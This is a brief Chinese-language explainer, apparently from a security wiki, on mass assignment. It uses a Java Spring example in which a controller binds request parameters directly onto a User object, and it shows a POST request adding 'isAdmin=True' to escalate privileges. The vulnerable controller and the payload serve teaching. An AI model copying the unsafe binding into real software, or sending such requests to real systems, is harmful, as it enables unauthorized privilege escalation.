批量赋值

软件框架有时允许开发人员自动将HTTP请求参数绑定到程序代码变量或对象中,以使开发人员更容易使用该框架。这有时会造成危害。

攻击者有时可以使用这种方法来创建开发人员从未预期的新参数,从而在程序代码中创建或覆盖未预期的变量或对象。

当满足以下条件时,此功能变得可被利用:

  • 攻击者可以猜测常见的敏感字段。

  • 攻击者可以访问源代码并可以审查模型中的敏感字段。

  • 并且包含敏感字段的对象具有空构造函数。

示例

假设有一个用于编辑用户账户信息的表单:

<form>
     <input name="userId" type="text">
     <input name="password" type="text">
     <input name="email" text="text">
     <input type="submit">
</form>

以下是表单绑定的对象:

@Data
public class User {
   private String userid;
   private String password;
   private String email;
   private boolean isAdmin;
}

以下是处理请求的控制器:

@RequestMapping(value = "/addUser", method = RequestMethod.POST)
public String submit(User user) {
   userService.add(user);
   return "successPage";
}

以下是典型的请求:

POST /addUser
...
userid=attacker&password=s3cret_pass&[email protected]

以下是我们在其中设置User类实例的isAdmin属性值的漏洞利用:

POST /addUser
...
userid=attacker&password=s3cret_pass&[email protected]&isAdmin=True

参考

最后更新于